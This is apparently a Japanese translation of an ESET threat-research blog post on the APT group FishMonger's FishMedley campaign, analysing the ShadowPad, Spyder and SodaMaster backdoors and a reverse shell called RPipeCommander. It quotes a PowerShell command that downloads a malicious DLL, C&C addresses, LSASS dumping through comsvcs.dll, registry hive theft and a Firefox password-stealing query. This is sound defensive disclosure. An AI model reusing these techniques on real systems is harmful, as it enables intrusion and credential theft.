ESETは、最初の侵入方法や経路を特定することはできませんでした。多くのケースで、攻撃者はドメイン管理者の認証情報など、ローカルネットワークの特権アクセスを取得していたと考えられます。

被害者Dのケースでは、攻撃者は管理コンソールにアクセスし、コンソールを使用してローカルネットワーク内の他のマシンにインプラントを展開しています。システム管理者かセキュリティアナリストのマシンを最初に侵害し、認証情報を窃取してコンソールにアクセスしたと考えられます。

被害者Fのケースでは、インプラントはImpacketを通じて配信されており、攻撃者は何らかの方法で特権のあるドメインアカウントを侵害しています。

被害者Fのケースでは、オペレーターはImpacketを使用してラテラルムーブメントを行っていました。FishMongerは他のローカルマシンの情報を収集し、インプラントをインストールしています。

表3は、オペレーターが最初にquser.exe、wmic.exe、ipconfig.exeを使用して手動で偵察を行っていたことを示しています。その後、ローカルセキュリティ機関サブシステムサービス（LSASS）のプロセス（PID 944）をダンプして、認証情報や他のシークレットを取得しようとしています。プロセスのPIDは tasklist /svcによって取得され、環境寄生型バイナリ（LOLBIN）としても利用されるcomsvcs.dllを使用してダンプが実行されています。攻撃者は、quser.exeを実行し、他のユーザーや管理者もログインしているか、つまり特権アクセスがLSASSに存在しているかどうかを確認した可能性が高いです。Microsoftのドキュメントには、攻撃者がこのコマンドを使用するには、フルコントロールアクセス許可または特殊なアクセス許可が必要であることが記述されています。

また、攻撃者はレジストリハイブsam.hiveとsystem.hiveも保存しています。これらのハイブにはシークレットと認証情報の両方が含まれている可能性があります。

最後に、forループを使用してtasklist.exeから繰り返し出力し、LSASSプロセスを再度ダンプしようとしていました。過去に同じコードが他のマシンで使用されていたことが確認されていることから、このコードの実行をブロックするか、少なくとも警告するように設定することを推奨します。

ShadowPadは、広く知られているモジュラー型のバックドアで、SentinelOneが報告しているように、FishMongerやSparklingGoblinなど、中国とつながりのあるAPTグループのみが使用しています。FishMedley作戦では、攻撃者はScatterBeeが搭載されたShadowPadバージョンを使用しました。

被害者Dのケースでは、以下のPowerShellコマンドによってローダーがダウンロードされました。

powershell (new-object System.Net.WebClient).DownloadFile("http://<victim’s_web_server_IP_address>/Images/menu/log.dll";"c:\users\public\log.dll") これは、攻撃者が被害者組織のWebサーバーを侵害し、マルウェアのステージングサーバーとして使用したことを示しています。

被害者Fのケースでは、http://5.188.230[.]47/log.dllからローダーをダウンロードするためにFirefoxが使用されています。攻撃者がマシンへのアクセス権限を取得し手動で操作したのか、Firefoxプロセス内で別のマルウェアが実行されていたのか、あるいは水飲み場攻撃などによって被害者がダウンロードページにリダイレクトされたのかは不明です。

log.dllは、古いBitdefender実行ファイル（元の名前：BDReinit.exe）によってサイドローディングされ、log.dll.datというファイルからShadowPadを読み込みます。このファイルは、PwCのGitHubリポジトリで提供されているスクリプトを使用して復号できます。

被害者のマシンからはlog.dll.datを復元できませんでしたが、VirusTotalで同一のlog.dllファイルを使用するAdobe Flashの偽のインストーラーを発見しました。ShadowPadペイロードの設定を表4に示します。

2022年3月20日から2022年11月2日までの間、このC&Cドメインは213.59.118[.]124に解決されていました。これについては、ShadowPadに関するVMwareのブログで説明されています。

被害者Dのケースでは、FishMongerが一般的に使用している別のバックドア「Spyder」が検出されました。Spyderは、モジュール型のインプラントであり、Dr.Webが詳細な分析結果を公開しています。

Spyderローダーは、http:///Images/menu/aa.docからダウンロードされ、ShadowPadがインストールされた18時間後にC:\Users\Public\task.exeとして配置されました。

このローダー（図2を参照）はファイルc:\windows\temp\guid.datを読み取り、AES-CBCを使用してコンテンツを復号します。この暗号化キーはハードコードされています（F4 E4 C6 9E DE E0 9E 82 00 00 00 00 00 00 00 00）。キーの最初の8バイトが初期化ベクトル（IV）として使用されています。残念ながら、guid.datファイルは復元できませんでした。

次に、ローダーは、図3に示すように、復号されたコンテンツ（おそらくシェルコード）を自分自身（task.exeプロセス）に挿入します。

暗号化された最終的なペイロードは取得できませんでしたが、ESET製品はメモリにあるSpyderペイロードを検出しました。このペイロードは、Dr.Webが説明しているSpyderの亜種とほぼ同じでした。このC&Cサーバーは61.238.103[.]165にハードコードされていました。

注意すべき点は、junlper[.]comの複数のサブドメインが、2022年に61.238.103[.]165に解決されたことです。このドメインは、SpyderのC&Cドメインであり、juniper.netを偽装したホモグリフドメインであることが確認されています。

89EDCFFC66EDA3AEB75E140816702F9AC73A75F0のサムプリントを持つ自己署名のTLS証明書が、2022年5月から12月までこのサーバーのポート443での通信に設定されていました。SentinelOneによると、これはFishMongerがC&Cサーバーで使用している証明書です。

SodaMaster

SodaMasterは、2021年にKasperskyが報告したバックドアです。APT10はこのバックドアを利用した最初のグループとして知られていましたが、FishMedley作戦の調査から、中国とつながりのある複数APTグループの間で共有されている可能性が浮かび上がってきました。

SodaMasterはメモリ内で復号された場合にのみ検出可能です。ESETもメモリでSodaMasterを検出しています。詳細なローディングチェーンは復元できませんでしたが、チェーンの最初のステップで使用されたいくつかの検体を特定しました。

SodaMasterローダー

ESETは、DLLサイドローディングによって正規の実行ファイルを悪用する6つの異なる悪意のあるDLLを発見しました。これらのDLLはすべて同じ復号と挿入ルーチンを実装しています。

最初に、ローダーはハードコードされたファイル、例えばdebug.pngを読み込み、ハードコードされた239バイトのキーを使ってXORで復号します。表5に、これらのさまざまなローダーを示します。XORキーも各検体で異なりますが、キーが長すぎるためこの表には含めていません。また、これらの暗号化されたペイロードも復元できませんでした。

次に、復号されたバッファは、新しく作成され、一時停止されていたsvchost.exeプロセスに挿入されます（図4を参照）。

最後に、Windows XP以前のバージョンの場合は、CreateRemoteThreadを使用して、新しいWindowsバージョンの場合は、NtCreateThreadExを使用して、シェルコードが実行されます（図5を参照）。

表5に示す最後の4つのローダーには追加の機能があります。

• これらのローダーには、getAllAuthDataという名前のエクスポートがあり、Firefox向けのパスワード窃取ツールを実装しています。このエクスポートは、FirefoxのSQLiteデータベースを読み取り、クエリ（SELECT encryptedUsername, encryptedPassword, hostname,httpRealm FROM moz_logins）を実行します。
• 最後の3つのローダーは、それぞれNetlock、MsKeyboardFiltersrv、downmapという名前のサービスとして常駐します。

SodaMasterペイロード

以前に説明したように、SodaMasterペイロードはKasperskyによって分析および報告されています。ESETが検出したサンプルでは、過去に報告されたペイロードから大きな進化は見られていません。このペイロードは、2021年に存在していたのと同じ4つのバックドアコマンド（d、f、l、s）を実装しています。

表6に、ESETが特定した4つの異なるSodaMasterペイロードの設定を示します。オペレーターは被害者ごとに異なるC&Cサーバーを使用していましたが、被害者BとCはハードコードされた同じRSAキーを共有していました。

被害者Dのケースでは、Spyderが実行された同じプロセスで、これまで知られていなかったインプラントが見つかりました。これは、ディスクからロードされたか、Spyderによってダウンロードされた可能性があります。DLLのエクスポート名がrcmd64.dllであったことから、ESETはこのインプラントをRPipeCommanderと命名しました。

RPipeCommanderは複数のタスクを同時に並行して処理でき、IoCompletionPortを使用して複数スレッドのI/O要求を管理します。また、名前付きパイプ \\.\Pipe\CmdPipe <PID>を作成します。この <PID >は、現在のプロセスIDであり、このプロセスがこのパイプからのデータの読み込みとパイプへのデータの書き込みを行います。

RPipeCommanderは、名前付きパイプから以下の3つのコマンドを受け付けるリバースシェルです。

• h (0x68)：cmd.exeプロセスを作成し、コマンドを送信して出力を読み取るためにそのプロセスにパイプをバインドします。
• i (0x69)：既存のcmd.exeプロセスでコマンドを記述するか、前のコマンドの出力を読み取ります。
• j (0x6A)：コマンドシェルでexitrnを記述して、cmd.exeプロセスを終了します。

ESETが確認しているのはRPipeCommanderのサーバーサイドのみです。ローカルネットワークの別のマシンからサーバーにコマンドを送信するために、第2のコンポーネントであるクライアントが使用されているはずです。

最後に、RPipeCommanderはC++で記述されています。取得した検体にRTTI情報が含まれていたため、いくつかのクラス名を入手できました。

• CPipeServer
• CPipeBuffer
• CPipeSrvEvent
• CPipeServerEventHandler

その他のツール

上記のメインインプラントに加え、攻撃者はデータを収集または外部に送信するためにいくつかの追加ツールを使用しています。これらのツールについては、表7で説明します。

このブログでは、FishMongerが各国の重要な組織に対してキャンペーンを実行した方法と、2025年3月に米国司法省がFishMongerのメンバーを起訴したことについて説明しました。また、ShadowPadやSodaMasterなどの広く知られているインプラントは公開されてから長い年月が経過していますが、今でも、この攻撃グループはこれらのインプラントを再利用していることについても説明しました。最後に、ESETは中国企業のI SOONに所属している組織がFishMongerであることを独自の調査から確認しました。

ESETのセキュリティブログWeLiveSecurity掲載されたリサーチに関するお問い合わせは、threatintel@eset.comへお願いします。
ESET の独自の脅威インテリジェンスサービス（APTレポートとデータフィード）を提供しています。このサービスに関するお問い合わせは、ESET Threat Intelligence（ESET脅威インテリジェンス）のページをご覧ください。

IoC（セキュリティ侵害の痕跡）の詳細なリストと検体は、ESETのGitHubリポジトリに掲載されています。

ファイル

この表は、MITRE ATT&CKフレームワークのバージョン16を使用して作成されています。